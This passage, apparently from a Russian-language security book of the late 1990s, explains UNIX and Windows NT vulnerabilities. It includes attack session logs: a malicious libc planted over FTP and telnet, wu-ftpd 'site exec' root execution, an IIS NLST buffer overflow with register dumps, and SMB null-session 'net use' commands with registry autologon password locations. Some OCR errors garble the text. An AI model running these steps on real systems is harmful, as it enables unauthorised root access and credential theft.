331 Guest login ok, send your complete e-mail address as password.

  Password: *****
230 Guest login, ok, access restrictions apply.

  Remote system type is UNIX.

  Using binary mode to transfer files.

  ftp" cd incoming
250 CWD command successful.

  ftp" send libc. so. 4
200 PORT command successful.

  150 Opening BINARY mode data connection for libc.so.4 226 Transfer
complete.

  ftp" bye
221 Goodbye.

  evil:'# telnet
telnet" env define LD_LIBRARY_PATH /home/ftp/incoming telnet" env export

                                 LD_LIBRARY_PATH

telnet" open victim.com
Trying 194.94.94.94...

  Connected to victim.com.

  Escape character is ' "]' .

  Linux 1.2. 13 (victim, coin) (ttypO) Victim login: hacker
Password:

  bashff cd /root
Снова sendmaH
В этом разделе мы рассмотрим две уязвимости в программе sendmail новых
версий Очевидно, что одна из основных функций sendmail - это SMTP-демон,
отвечающий на входящие письма. Только суперпользователь может запустить ее
в таком режиме, и это проверяется специальной процедурой самой sendmail.

  Однако из-за ошибки кодирования sendmail может быть запущена в режиме
демона так, что проверка будет пропущена. Более того, начиная с версии
8.7, sendmail перезапустит сама себя, если получит сигнал SIGHUP с помощью
системного вызова ехес(2), после чего она начнет исполняться с
привилегиями суперпользователя. В этот момент, манипулируя переменными
sendmail, злоумышленник может заставить ее выполнить любую команду,
естественно, с привилегиями суперпользователя. Как стандартный вариант
используется копирование оболочки /bin/sh в /tmp/ sh и установка на него
SUID root.

  Вторая уязвимость, как уже говорилось, присутствует всегда при наличии
sendmail до версии 8.8.4 включительно с конфигурацией по умолчанию,
независимо от присутствия других сервисов и средств защиты типа межсетевых
экранов. Раз sendmail работает на вашем компьютере, значит, отправляется и
принимается электронная почта. Оказывается, ничего другого в данном случае
кракеру нс надо: как в старые добрые времена, "бомба" к вам может попасть
в обычном письме стандартного формата, которое, естественно, без всяких
подозрений пропустит любой межсетевой экран или другой фильтр. Это письмо,
однако, будет иметь более чем специфическое содержание в MIME-кодировке,
при обработке которого у sendmail банально переполнится буфер, данные
попадут в стек и могут быть интерпретированы как код. Естественно, он
выполнится от имени суперпользователя.

  Эта ошибочная функция вызывается, кстати, только в том случае, если в
конфигурации sendmail стоит недокументированный флаг "-9".

  Какие можно сделать выводы из этой примечательной ситуации? Во-первых,
видимо, это один из случаев, когда ошибка в исходном коде была найдена
раньше хакерами, а не кракерами. Во-вторых, как обычно, пройдет много
времени, прежде чем все уязвимые программы sendmail будут заменены на
новые, а кракеры тем временем, уже зная конкретно об этой ошибке, смогут
максимально ее использовать. Более того, своей масштабностью она прямо
подтолкнет их к написанию нового глобального червя. В-третьих, это еще раз
доказывает, что любые программы в процессе своего совершенствования могут
приобретать новые ошибки, в том числе и такие катастрофичные. В-четвертых,
сильно удивляет позиция автора sendmail, который, несмотря на репутацию
автора "программы, насчитывающей такое же количество ошибок в плане
безопасности, как и все другие UNIX-программы, вместе взятые", традиционно
продолжает оставлять недокументированные команды или ключи. Мы бы не
рекомендовали ставить программу sendmail на любой хост, который более или
менее критичен к угрозам извне, так как ошибки в ней обнаруживаются с
пугающей регулярностью.

  Уязвимости в wu-ftpd
FTP-демон wu-ftpd, написанный в вашингтонском университете, является
значительным расширением стандартного ftpd. Как обычно, это приводит и к
расширению содержащихся в нем ошибок.

  Самой известной из них является ошибка, позволяющая всего-навсего
выполнить любую команду от имени суперпользователя, причем для удобства
кракера в wu-ftp есть специальная команда, которая так и называется site
exec (выполнить на сайте) evil" ftp victim.com
220 victim FTP server (Version wu-2.4(1) Sun Jul 31 21:15:56 CDT 1994)
ready.

  Name (victim: root): good
331 Password required for good.

  Password: *****
230 User good logged in.

  Remote system type is UNIX.

  Using binary mode to transfer files.

  ftp" quote "site exec bash -c id"
200-bash -с id
200-uid=0(root) gid=0(root) euid=505(statik) egid=100(users)
groups^lOO(users)
200 (end of' bash-c id')
Видно, что в последней строчке па удаленном хосте выполнилась коман- 
 да
id от имени суперпользователя, это означает, что хост уязвим. .

  Другая уязвимость, которой подвержены версии wu-ftpd (1996-1997 гг.),
состояла в том, что при определенных условиях можно переполнить список
аргументов команды, а это приведет к сбросу демоном аварийного дампа
памяти. Для этого нужны минимальные полномочия анонимного пользователя
ftp. Самое интересное, владельцем дампа будет не root, как обычно бывает,
a anonymous, и дамп будет сбрасываться в его домашний каталог. Отсюда
следует, что он позже может быть прочитан удаленно. Ну а чтение аварийного
дамeна равносильно копанию в корзине для бумаг на секретном объекте -
среди мусора находятся очень любопытные вещи, например сброшенные
кэшированные пароли. Так что злоумышленнику останется только запустить
взломщик паролей поновее.

  В последний момент wu-ftpd вновь напомнил о себе. Оказалось, что если
злоумышленник имеет право на запись в некий ftp-каталог (вполне достаточно
наличия /incoming), то у wu-ftpd переполняется буфер при создании
вложенных каталогов с длинными именами. Реализация этой уязвимости,
опубликованная в Internet, вызвала эпидемию вскрытых хостов весной 1999
года, потому что нашлись молодые люди, умеющие запускать чужие программы и
считающие себя при этом "крутыми хакерами".

  Проникновение с помощью innd
Проиллюстрируем тот путь, по которому идут кракеры сегодня и рассмотрим
самый популярный способ проникновения в UNIX-хосты на начало 1997 года.

  В качестве "лазейки" была выбрана серверная программа, отвечающая за
передачу новостей USENET по протоколу NNTP, называемая InterNet News
(Inn). Такой выбор для кракеров очень удачен: во-первых, эта программа "не
запятнала" себя ранее (это как раз пример новаторского подхода);
во-вторых, как и любой демон, она потенциально допускает проникновение по
классу 1; в-третьих, сервис передачи новостей выходит на одно из первых
мест в Internet, поэтому программа достаточно распространена и существует
практически на всех платформах; в-четвертых, уязвимости, если они найдутся
в ней, нo могут быть сведены на нет межсетевым экраном. Поясним последнее
подробнее. Если вы у себя на машине ставите сервер, который должен
отвечать за прием и передачу новостей по протоколу NNTP, то, естественно,
обязаны разрешить этот протокол в своем межсетевом экране. Но кракер, с
другой стороны, также будет работать на уровне NNTP. Иначе говоря, как и в
приведенной выше уязвимости в sendmail, межсетевой экран нс отличает
пакеты с "хорошими" новостями от "плохих", которые посылает кракер, -
Firewall может только запретить или разрешить конкретный трафик в целом.

  Именно такого рода уязвимость была найдена в программе innd Причины
существования уязвимостей в UNIX-системах
Проанализировав большой фактический материал, коснемся причин, по которым
описанные нарушения безопасности UNIX имели место, и попытаемся их
классифицировать (рис. 9.4). Сразу оговоримся, что классификация ни в коей
мере не претендует на новизну или полноту - кому интересна эта тема,
предлагаем обратиться к более серьезным научным работам 1. Наличие демонов.

  2. Механизм SUID/SGID-процессов.

  3. Излишнее доверие.

  4. Человеческий фактор с весьма разнообразными способами его проявления -
от легко вскрываемых паролей у. обычных пользователей до ошибок у
квалифицированных системных администраторов, многие из которых как раз и
открывают путь для использования механизмов доверия.

  Механизмы 1 и 2, являющиеся неотъемлемой частью идеологии UNIX, были и
будут лакомым кусочком для хакеров, так как пользователь в этом случае
взаимодействует с процессом, имеющим большие привилегии,


  и поэтому любая ошибка или недоработка в нем автоматически ведет к
использованию этих привилегий.

  О механизме 3 уже достаточно говорилось выше. Повторим, что в UNIX много
служб, использующих доверие, и они могут тем или иным способом быть
обмануты.

  Итак, вот те причины, по которым демоны и SUID/SGID-процессы становятся
уязвимыми:

  1. Возможность возникновения непредусмотренных ситуаций, связанных с
ошибками или недоработками в программировании.

  2. Наличие скрытых путей взаимодействия с программой, называемых "люками".

  3. Возможность подмены субъектов и объектов различным образом. К первой
можно отнести классическую ситуацию с переполнением буфера или размерности
массива. Заметим сразу, что конкретные атаки, несмотря на универсальность
способа, всегда будут системозависимыми и ориентированными только на
конкретную платформу и версию UNIX.

  Хорошим примером непредусмотренной ситуации в многозадачной операционной
системе является неправильная обработка некоторого специального сигнала
или прерывания. Часто хакер имеет возможность смоделировать ситуацию, в
которой этот сигнал или прерывание будет послано (в UNIX посылка сигнала
решается очень просто - командой kill, как в примере с sendmail).

  Наконец, одна из самых распространенных ошибок программистов -неправильная
обработка входных данных, что является некоторым обобщением случая
переполнения буфера. А если программа неправильно обрабатывает случайные
входные данные, то, очевидно, можно подобрать такие специфические входные
данные, которые приведут к желаемым для хакера результатам, как случилось
с innd.

  Люком или "черным входом" (backdoor) часто называют оставленную
разработчиком недокументированную возможность взаимодействия с системой
(чаще всего - входа в нее), например, известный только разработчику
универсальный "пароль". Люки оставляют в конечных программах вследствие
ошибки, не убрав отладочный код, или вследствие необходимости продолжения
отладки уже в реальной системе из-за ее высокой сложности, или же из
корыстных интересов. Люки - это любимый путь в удаленную систему не только
у хакеров, но и у журналистов, и режиссеров вместе с подбором "главного"
пароля перебором за минуту до взрыва, но, в отличие от последнего способа,
люки реально существуют. Классический пример люка - это, конечно,
отладочный режим в sendmail.

  Наконец, многие особенности UNIX, такие как асинхронное выполнение
процессов, развитые командный язык и файловая система, позволяют
злоумышленникам использовать механизмы подмены одного субъекта или объекта
другим. Например, в рассмотренных выше примерах часто применялась замена
имени файла, имени получателя и т. и. именем программы. Аналогично может
быть выполнена подмена специальных переменных. Так, для некоторых версий
UNIX существует атака, связанная с подменой
IFS (internal field separator - символ разделителя команд или функций) на
символ "/". Это приводит к следующему: когда программа вызывает /bin/ sh,
вместо него вызывается файл bin с параметром sh в текущем каталоге.

  Похожая ситуация возникает при атаке на telnetd. Наконец, очень популярным
в UNIX видом подмены является создание ссылки (link) на критичный файл.

  После этого файл-ссылка некоторым образом получает дополнительные права
доступа, и тем самым осуществляется несанкцио- 1 нированный доступ к
исходному файлу. Подобная ситуация с подменой файла возникает, если путь к
нему определен не как абсолютный (/bin/ sh), а как относительный
(../bin/sh или $(BIN)/sh). Такая ситуация также имела место в
рассмотренной уязвимости telnetd.

  И последнее, о чем уже подробно говорилось во второй главе, - нельзя /
приуменьшать роль человека в обеспечении безопасности любой системы (про
необходимость выбора надежных паролей упоминалось ранее). Неправильное
администрирование - тоже очень актуальная проблема, а для UNIX она
особенно остра, так как сложность администрирования UNIX-систем давно
стала притчей во языцех, и часто именно на это ссылаются конкуренты. Но за
все надо платить, а это - обратная сторона переносимости и гибкости UNIX.

  Настройки некоторых приложений, той же sendmail, настолько сложны, что для
поддержания работоспособности системы требуется специальный человек -
системный администратор, но даже он, мы уверены, не всегда знает о всех
возможностях тех или иных приложений и о том, как правильно их настроить.

  Более того, если говорить о слабости человека, защищенные системы обычно
отказываются и еще от одной из основных идей UNIX - наличия
сунерпользоватсля, имеющего доступ ко всей информации и никому не
подконтрольного. Его права могут быть распределены среди нескольких людей:

  администратора персонала, администратора безопасности, администратора сети
и т. п., а сам он может быть удален из системы после ее инсталляции. В
результате вербовка одного из администраторов нс приводит к таким
катастрофическим последствиям, как вербовка супернользователя.

  Windows NT
Мы специально так подробно рассмотрели UNIX и закончили классификацией
причин ее уязвимости, чтобы читателю было легче провести параллель с более
молодой операционной системой - Windows NT. Сразу оговоримся, что, в
отличие от UNIX, речь будет идти только об одной версии -Windows NT 4.0.

  Windows NT - сильно выделяющийся продукт среди ОС, производимых фирмой
Microsoft. Во-первых, это единственная система, способная работать на
процессорах, отличных от Intel-совместимых, а именно на процессоре Alpha.

  Во-вторых, эта ОС выпускается в виде двух реализаций - как сервер (Windows
NT Server) и как рабочая станция (Windows NT Workstation). В-третьих, ядро
этой системы писалось с нуля, и при его разработке не требовалась
100-процентная совместимость с более ранними ОС типа MS DOS. Наконец,
только в этой ОС с самого начала было уделено должное внимание требованиям
безопасности, что привело к созданию собственной файловой системы, нового
алгоритма аутентификации, подсистемы аудита и т. п.

  Последний факт послужил поводом к возникновению нескольких мифов о
защищенности Windows NT. Часто можно услышать, что Windows NT на
сегодняшний день - самая защищенная сетевая ОС. На самом же деле, как
подчеркивалось во введении к этой главе, пока нельзя сказать, какая из ОС
является более защищенной и по каким параметрам. Этого нельзя будет
сделать до тех пор, пока Windows NT не проработает хотя бы несколько лет в
качестве сетевой ОС на различных аппаратных и программных конфигурациях.

  Ей, видимо, это не грозит в связи с выходом Windows 2000 (она же Windows
NT 5.0), и процесс тестирования начнется сначала. Наконец, накопленный на
сегодняшний день опыт уже не подтверждает притязаний NT на самую
защищенную ОС, что и показано в данном разделе.

  Второй устойчивый миф гласит, что Windows NT 4.0 якобы была
сертифицирована по американскому классу защищенности С2. На самом же деле
здесь ситуация почти как в анекдоте про Иванова, который выиграл в лотерею:

  1. Не Windows NT 4.0, а 3.5, причем обязательно с Service Pack 3.

  2. Сертификация касалась только локальной (не сетевой) версии NT, то есть
с отсутствующими сетевыми адаптерами и внешними накопителями.

  3. Сертификация производилась на конкретной аппаратной платформе, а
именно: Compaq Proliant 2000 and 4000 (для платформы Intel/Pentium) и
DECpc АХР/150 (для платформы Alpha). Если NT установлена па другую
платформу, сертификат на нее не распространяется.

  4. Класс С2 является одним из самых низких классов защищенности (ниже
только С1 и D). Учитывая, что к классу D относятся все системы, не
попадающие в другие классы, и сертифицировать по нему что-либо
бессмысленно, а по классу С1 сертификация также не производится,
получаем, что С2 - это низший класс защищенности, по которому вообще может
производиться сертификация ОС.

  Отметим также, что сам процесс сертификации - достаточно формальная в
плане определения уязвимостей процедура, при которой проверяется
соответствие продукта всем требованиям для данного класса защищенности, и
этот процесс никоим образом не гарантирует отсутствия уязвимостей.

  Классификация причин уязвимости Windows NT
В отличие от описания проблем с безопасностью у UNIX, здесь мы пойдем по
обратному пути: сначала классифицируем возможные способы нарушения
безопасности Windows NT, а затем будем приводить примеры.

  Оказывается, что классификация причин уязвимости Windows NT весьма похожа
на рассмотренную аналогичную классификацию для UNIX (рис. 9.5).

  Удаленное выполнение кода
Ясно, что механизм демонов, отвечающих за обработку соединений с тем или
иным TCP-портом, должен был остаться и в Windows NT Действительно, все
основные службы, используемые в Internet, - ftp, WWW или e-mail - должны
поддерживаться любой ОС, включающей в себя реализацию стека протоколов
TCP/IP. Более того, все основные команды для работы с ними также
стандартизованы. Пусть в Windows NT эти программы называются нс демонами,
а серверами, суть от этого не меняется, а именно: как и в случае
UNIX-систем, некий неидентифицируемый пользователь (человек, сидящий за
своим компьютером по другую сторону океана) тоже может давать некоторые
команды серверам, подключившись на соответствующий порт. Отсюда ясно, что
от классических проблем с переполнением буфера Windows NT принципиально не
может быть защищена.

  Получение прав другого пользователя
Естественно, что неудачного механизма SUID/SGID-программ, являющегося
основным источником получения привилегированных прав в UNIX, в Windows NT
пет. Тем не менее в операционной системе, где одновременно функционируют
процессы с разными привилегиями, всегда потенциально можно получить нрава
более привилегированного процесса. Этого нельзя сделать только в том
случае, когда система написана так, что не содержит ошибок во внедрении и
реализации не только подсистемы разграничения доступа, по и всего ядра ОС,
управляющего процессами, файловой системой и т. п. Для современных ОС,
объем исходного кода которых исчисляется сотнями тысяч строк (а для
Windows NT 5.0 - около
5 миллионов), гарантировать отсутствие ошибок нельзя при любых технологиях
написания этого кода и любом мыслимом уровне тестирования.

  Windows NT содержит процессы (они называются сервисами), которые
запускаются чаще всего от имени system. Это специальное имя не сильно
- афишируется (по крайней мере, вы не найдете его в списке имен
пользователей программы User manager) и обладает полномочиями
администратора на локальной машине. Таким образом, запустив программу от
имени system, злоумышленник получает возможности, сравнимые с
возможностями суперпользователя для UNIX-систем. Такой запуск может быть
реализован как классическими методами типа переполнения буфера, так и
специфичными для Windows NT способами:

  Нелегальное подключение к системе
Как вы помните, в некоторых случаях пользователь может подключаться к UNIX
без предъявления пароля, В Windows NT такой механизм отсутствует, однако
возможность нелегального (или полулегального) подключения к Windows NT все
же остается. Дело в том, что в этой системе существуют некие пользователи
и группы со стандартными общеизвестными именами. Один из пользователей -
Guest, по умолчанию имеющий пустой пароль, - действительно хорошо известен
и хакерам, и администраторам. Именно поэтому он запрещен по умолчанию, что
делает его не очень ценной находкой для злоумышленников. Однако существует
другой, менее известный (по крайней мере, администраторам) пользователь -
анонимный (нс путать с анонимным пользователем ftp или http), с пустым
именем и паролем (не пытайтесь, однако, при входе в систему оставить
пустыми имя и пароль пользователя - это не сработает, для анонимного
подключения к компьютеру требуется другая процедура, о которой мы
расскажем чуть позже), поэтому он несколько отличается от обычных
пользователей, но тем не менее обладает правами, сходными с правами группы
Everyone (все).

  Итак, классификацию всех пользователей (субъектов) Windows NT аналогично
пользователям UNIX можно представить в следующем виде:

  1. Администраторы - все права на локальном компьютере или домене. Отличие
от UNIX в том, что их может быть много.

  2. Обычные пользователи - аналогично UNIX.

  3. Специальные пользователи - предопределенные имена, как правило,
использующиеся системой. Могут иметь достаточно широкие полномочия.

  4. Псевдонользователи - удаленные пользователи, взаимодействующие с
сетевыми серверами. Не являются пользователями как таковыми, не проходят
регистрацию и не могут подключиться к компьютеру в явной форме -
аналогично UNIX.

  5. Анонимные пользователи - не имеют пароля, но имеют права, сходные с
правами Everyone.

  Человеческий фактор
Отметим, что ошибки администрирования, которые были неизбежны в UNIX, в
Windows NT, может быть, сделать и сложнее, но здесь есть другая
особенность: пусть администратор знает, что ему нужно сделать, но нс может
- закрытость Windows NT не предоставляет ему таких гибких механизмов
настройки, как UNIX.

  Совместимость с другими операционными системами
Практически всегда требования совместимости или переносимости противоречат
требованиям безопасности. К примеру, несмотря па то что для Windows NT
была разработана специальная хэш-функция, она вынуждена поддерживать еще
одну, которая берет свое начало от самых первых сетевых приложений
Microsoft. Поэтому в криптографическом плане Windows NT порой оказывается
слабее UNIX. И еще: довольно часто Windows NT приходится поддерживать
решения, которые являются устаревшими с точки зрения безопасности.

  Переполнения буфера в системных сервисах
Совершенно очевидно, что аналогично UNIX-системам наличие потенциальных
ошибок в программах, отвечающих за поддержку основных служб Internet,
является самой серьезной уязвимостью, допускающей удаленное исполнение
кода незарегистрированным пользователем.

  Готовя материал для этого раздела, мы до самого последнего момента не
могли найти хорошего примера. Были уязвимости, приводящие "всего лишь" к
отказу в обслуживании; были переполнения буфера с возможностью исполнения
кода, по для этого требовались некоторые действия от пользователя (типа
"забрать почту с сервера", "прочитать письмо" и т. п.); самой нашумевшей
уязвимостью оказалось переполнение буфера при чтении письма с
MIME-вложением. Мы же хотели привести пример классического переполнения,
при котором осуществимо удаленное вторжение без каких-либо действий с
атакуемой стороны, потому что точно уверены в возможности этого из-за
особенностей архитектуры Windows NT.

  То, что такими примерами не изобилует история безопасности Windows,
говорит вовсе не о качестве написания программного кода, а всего лишь о
том, что программ, которые могут содержать бреши в безопасности, не так уж
много - Microsoft Internet Information Server, реализующий http-, ftp-,
gopher-серверы, и Microsoft Exchange Server, отвечающий за SMTP и POPS.

  Сравните это с огромным количеством демонов от разных фирм (мы не
утверждаем, что это хорошо), доступных для UNIX!

  Но все же в последний момент, в январе 1999 года, появилась долгожданная
уязвимость в ftp-сервере, входящем в состав IIS 4.0. Оказывается, команда
NLST содержала переполняемый буфер с возможностью не только отказа в
обслуживании сервера, но и удаленного исполнения кода. Проверить наличие
этой уязвимости можно примерно следующим набором команд:

  "ftp victim, corn
Connected to victim, corn.

  220 VICTIM Microsoft FTP Service (Version 4.0).

  User (poor.victim.com:(none)): ftp
331 Anonymous access allowed, send identity (e-mail name) as password.

  Password:

  230 Anonymous user logged in.

  ftp" Is






  АААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААА













  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA


                   AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

200 PORT command successful.

  150 Opening ASCII mode data connection for file list. -
" ftp: get connection reset by peer
Минимально необходимый объем данных команды NLST, который вызывает
переполнение, -316 байт, при этом возможен только отказ в обслуживании,
что следует из содержимого регистров в момент аварийного останова - они
равны:


                           ЕАХ = 0000005С ЕВХ = 00000001


                         ЕСХ == OOD3F978 EDX = 002582DD


                          ESI = OOD3F978 EDI = 00000000


                          Е1Р = 710F8AA2 ESP = OOD3F644


                          ЕВР = OOD3F9FO EFL = 00000206

Как видно, ни один из регистров не содержит шестнадцатеричного кода 41,
соответствующего букве "А".

  Со строками большей длины картина будет иной, а именно:


                   ЕАХ = 00000000 ЕВХ = 41414141 ЕСХ = 41414141


                          EDX = 722С1САС ESI = 41414141


                  EDI = 41414141 Е1Р = 722C9262 ESP = OOD3F524


                          ЕВР = OOD3F63C EFL = 00000246

Большое количество кодов (41) означает, что содержимое буфера попадает в
регистры, правда, не в Е1Р. Следовательно, переполняемый буфер находится
не в стеке, что усложняет задачу злоумышленника по удаленному выполнению
кода, но отнюдь не делает его невозможным.

  Данный пример заслуживает внимания еще двумя моментами. Во-первых, такая
уязвимость проявляется только после установки Service Pack 4, а с
предыдущим Service Pack 3 повторить ее никому не удалось. Это подтверждает
очевидный факт: после любых изменений в программах (тем более после таких
серьезных, как Service Pack, занимающих десятки мегабайт) всеобъемлющее
тестирование должно проводиться заново, а если это невыполнимо, то никто
не смеет утверждать, что в программных продуктах не возникнут новые ошибки.

  Во-вторых, уязвимость была найдена с помощью автоматизированного средства
для поиска переполнений буферов Retina, разрабатываемого группой eEye
(www.eeye.com). Собственно идея создания такого средства для нужд
компьютерной безопасности, что называется, витает в воздухе, и подобные
проекты уже существовали, но на этот раз с помощью Retina удалось отловить
довольно серьезную уязвимость. Кстати, вскоре она обнаружила и
переполнение буфера в уже известном читателю wu-ftpd с отказом в
обслуживании.

  Надо отдать должное фирме Microsoft, которая всегда оперативно реагирует
на сообщения о найденных уязвимостях. И на этот раз hot-fix (заплатки)
появились через 10 дней после первых сообщений, при этом большая часть
времени, видимо, ушла на воспроизводство условий, необходимых для
переполнения буфера, то есть на подтверждение его реальности.

  Получение прав администратора
Из классификации уязвимостей Windows NT следует, что для получения прав
привилегированных пользователей необходимо исполнить код от имени одного
из системных процессов (сервисов). Первой и самой известной из программ
такого рода была появившаяся в 1997 году утилита GetAdmin (кстати,
разработанная российским исследователем Константином Соболевым).


          - -------------------------------------------------------------

I Несмотря на подчеркнутые нами отличия хакера от кракера, не хотим
писать здесь слово "хакер", так как при цитировании в соответствующем
контексте цель этого исследования может быть неверно истолкована

        - -------------------------------------------------------------.


  Чтобы исполнить код, разработчик применил интересный механизм, называемый
внедрением в процесс (а не стандартное переполнение буфера, как это можно
было ожидать). Для внедрения в процесс используются функции OpenProcess,
WriteProcessMemory, CreateRemoteThread, а самое главное -
при этом необходимы привилегии SeDebugPrivilege - отладка объектов низкого
уровня, в том числе потоков (threads), которые по умолчанию даются только
группе администраторов. Вот как описывает автор дальнейший принцип работы
своей утилиты "Получается, что пользователь, который имеет привилегию
"отладка программ", может получить права администратора на локальной
машине. Но как же обойти необходимость в специальных привилегиях? Решение
было найдено мной несколько позже - в июне 1997 года. Заняло примерно одну
неделю.

  Изучая работу ntoskrnl.exc (ядро Windows NT), я обнаружил (далеко не
случайно, в ntoskrni сотни функций), что функция NtAddAtom не проверяет
адрес своего второго аргумента. Иначе говоря, если передать в качестве
параметра любой адрес, туда будет записано некое число (результат
выполнения NtAddAtom).

  Функция NtAddAtom в WIN32 API вызывается функцией AddAtom, которая
используется достаточно часто. Но функция AddAtom принимает только один
параметр (адрес строки), поэтому вызов ее не приводил к катастрофическим
последствиям.

  Итак, получается, мы можем писать в любую область адресного пространства
Windows NT... В системе Windows NT есть некий глобальный флaгNtGlobalFlag,
имеющий адрес примерно Ох801ХХХХХ. Изменением одного из битов этого флага
мы можем превратить Windows NT в Windows NT Checked Build, и право
SeDebugPrivilege не будет необходимо для внедрения в системные процессы".

  Дальнейшее уже зависит от стремлений хакера - имея привилегии system,
можно сделать с системой все, что угодно. Программа GetAdmin внедряла в
процесс WinLogon код, добавляющий текущего пользователя в группу
администраторов.

  Как говорится, трудно только в первый раз. Вскоре последовали различные
способы получения прав администратора в Windows NT, либо развивающие идею
внедрения в процессы (например, Sechole), либо использующие другие пути.

  Одним из самых оригинальных и в то же время очевидных оказался способ
подмены программы, вызываемой при сбое другого процесса. По умолчанию в
Windows NT это программа Dr. Watson, вызов которой располагается в
каталоге реестра HKLM\Software\Microsott\Windows NT\
CurrentVersion\AeDebug. Если же прописать туда вызов не Dr. Watson, а,
скажем, User Manager, то последний будет запускаться при каждом аварийном
завершении некоторого процесса. Право на чтение и запись в этот каталог
реестра имеет любой член группы Everyone. Итак, злоумышленнику
осталось только найти подходящий системный процесс, который он смог бы
"подвесить". Учитывая стиль программирования от Microsoft, сделать это не
так трудно.

  Не правда ли, все это чрезвычайно похоже на получение прав
суперпользователя через SUID/SGID-программы? Совершенно очевидно, что
никто уже не верит в непогрешимость модели разграничения полномочий в
Windows NT и вскоре появятся новые способы несанкционированного присвоения
дополнительных прав.


          - -------------------------------------------------------------

I Уже сдавая рукопись в редакцию, мы обнаружили такой способ,
опубликованный известной хакерской группой LOpht. См. бюллетень
безопасности Microsoft MS006-99 "KnownDLLs List Vulnerabil.ity".


          - -------------------------------------------------------------

При обсуждении SUID/SGID-механизма мы подчеркивали, что он сам по себе
позволяет строить только локальные атаки, которые легко превращаются в
"удаленные", если злоумышленник подключается к компьютеру по протоколу
TELNET. В Windows NT дело обстоит примерно так же: программы получения
прав администратора могут быть запущены удаленно, например через механизм
CGI или при использовании TELNET, поставляемого третьими фирмами (так как
в стандартной конфигурации он не предусмотрен).

  Итак, повторим основные уязвимости Windows NT, делающие возможными атаки
типа GetAdmin (первые два пункта могут быть отнесены к люкам):

  
 возможность отлаживать потоки;

 наличие NtGlobalFlag;

 ошибки в функциях ядра и в системных сервисах, в том числе недостаточные
проверки на корректность параметров. Типичный пример непредусмотренных
входных данных;

 слишком широкий доступ к параметрам реестра.

  Разделение ресурсов и анонимный пользователь
Доступ к файлам и принтерам на удаленных компьютерах под управлением ОС
семейства Windows осуществляется через протокол SMB. Более того, этот
протокол используется многими компонентами удаленного управления системой,
например программами Regedit, User Manager и Server Manager. Поэтому
значение протокола с точки зрения безопасности является очень важным. В
частности, к нему могут быть применены типовые удаленные атаки (см. главы

                                      3-8).


  Но какое отношение он имеет к Internet? Ведь протокол SMB задумывался для
разделения ресурсов внутри локальной сети (домена). Дело в том, что SMB,
являясь протоколом прикладного уровня, может быть построен на основе
любого транспортного протокола, совместимого с интерфейсом NetBIOS. Обычно
в сетях Microsoft для этих целей используется NetBEUI, однако может быть
использован и IPX, и, естественно, IP (NetBIOS over TCP/IP). Именно
поэтому все, что говорится о SMB, относится и к глобальным сетям,
построенным на TCP/IP. Например, если вы разрешили доступ на ваш диск С:

  своему коллеге, сидящему в соседней комнате, и подключились к Internet, то
имейте в виду, что доступ к диску теперь получат и пользователи извне,
задав команду типа "net use * \\194.94.94,94\DISK_C password /USER: user,
где 194.94.94.94 - ваш IP-адрес; DISK_C - разделяемое имя диска С:;
user, password - имя и пароль для подключения к ресурсу. Более того, даже
если вы и не стремились предоставить никому доступ к вашим дискам, NT это
сделает за вас. В ней есть так называемое административное (или скрытое)
разделение ресурсов, отличающееся от обычных символом "$" в конце, а также
тем, что эти скрытые ресурсы вновь появляются после перезагрузки, даже
если вы их удалите вручную. Их имена -С$, D$ и т. д., обозначающие ваши
жесткие диски, а также ADMINS, указывающий на каталог %SystcmRoot%. Такие
ресурсы доступны только администратору и не выводятся в списке разделяемых
ресурсов командой net view. Настройками в реестре можно отказаться от их
наличия, но по умолчанию они существуют.

  Хорошо ли, что SMB может быть построен на базе TCP/IP? С точки зрения
функциональности - безусловно, Microsoft даже предлагает свой стандарт на
глобальную файловую систему - CIFS (Common Internet File System),
представляющий собой не что иное, как систему разделения ресурсов от
Microsoft в рамках всего Internet. Но с точки зрения безопасности такой
подход грозит дополнительными уязвимостями, обусловленными недостатками

                                      SMB.


  В дальнейших рассуждениях мы предполагаем, что цель атаки - машина под
управлением Windows NT, а не Windows for Workgroups или Windows 95/98,
хотя они используют для разделения ресурсов тот же самый протокол SMB.

  Дело в том, что у этих операционных систем есть возможность обеспечивать
разделение ресурсов на уровне ресурса (share level), при котором не
требуется идентификации пользователя, а нужен только пароль на ресурс.

  Windows NT же обеспечивает разделение только па уровне пользователя (user
level), при котором необходимо вводить
и имя, и пароль. Вообще, применение Windows 95/98 в качестве основной ОС
для хоста (сервера) в Internet - это нонсенс, и в нашей книге такой
вариант практически не рассматривается.

  Напомним еще раз, что необходимо знать злоумышленнику для подключения к
разделяемому ресурсу на удаленной машине: IP-адрес. Он его, безусловно,
знает.

  Имя ресурса. Его можно узнать с помощью той же самой команды net: net view
\\194.94.94.94. Впрочем, для этого все равно надо знать имя и пароль (то
есть сначала злоумышленник должен ввести net use, а потом уже net view).

  Имя и пароль. Итак, именно в них вся загвоздка.

  Однако нет ли в Windows NT какого-нибудь способа, позволяющего обойтись
без знания имени и/или пароля? Оказывается, есть. Самой системе иногда
требуется подключение к компьютеру, например для обеспечения
межкомпьютерных связей в домене. И при этом ей приходится как-то
идентифицироваться на удаленном компьютере. Такой механизм называется null
session (нуль-сеанс, или анонимное подключение). Чтобы его установить,
необходимо ввести пустое имя пользователя и пустой пароль, при этом для
анонимного подключения всегда открыт специальный ресурс 1РС$
(inter-process communication): net use \\194.94.94.94\IPC$ "" /USER:""
Анонимный доступ имеет ряд ограничений, в частности не позволяет
подключать непосредственно разделяемые диски, но может предоставить
следующие возможности:

  
 вывести список разделяемых ресурсов;

 удаленно просмотреть реестр с помощью стандартных программ Regedit или
Regedt32 (если не запрещено его разделение). При этом ему будут доступны
те разделы реестра, которые доступны Everyone, то есть многие. Например, в
каталоге HKLM\SOFTWARE\ Microsoft\Windows NT\CurrentVersion\Winlogon
существуют поля "DefaultUsername" и "DefaultPassword", означающие имя и
пароль пользователя при autologon (автоматический вход в систему);

 запустить User Manager и просмотреть список существующих пользователей и
групп;

 запустить Event Viewer и другие средства удаленного администрирования,
использующие SMB.

  Такая атака получила название RedButton, как и вышедшая в 1997 году
программа-демонстратор, хотя о возможности анонимного подключения было
известно со времен Windows NT 3.5. Service Pack 3 закрывает большинство
этих
возможностей, но не устраняет причину - анонимного пользователя. Поэтому
после установки Service Pack 3 все равно можно просмотреть разделяемые
ресурсы, а также узнать имена всех пользователей и групп в системе
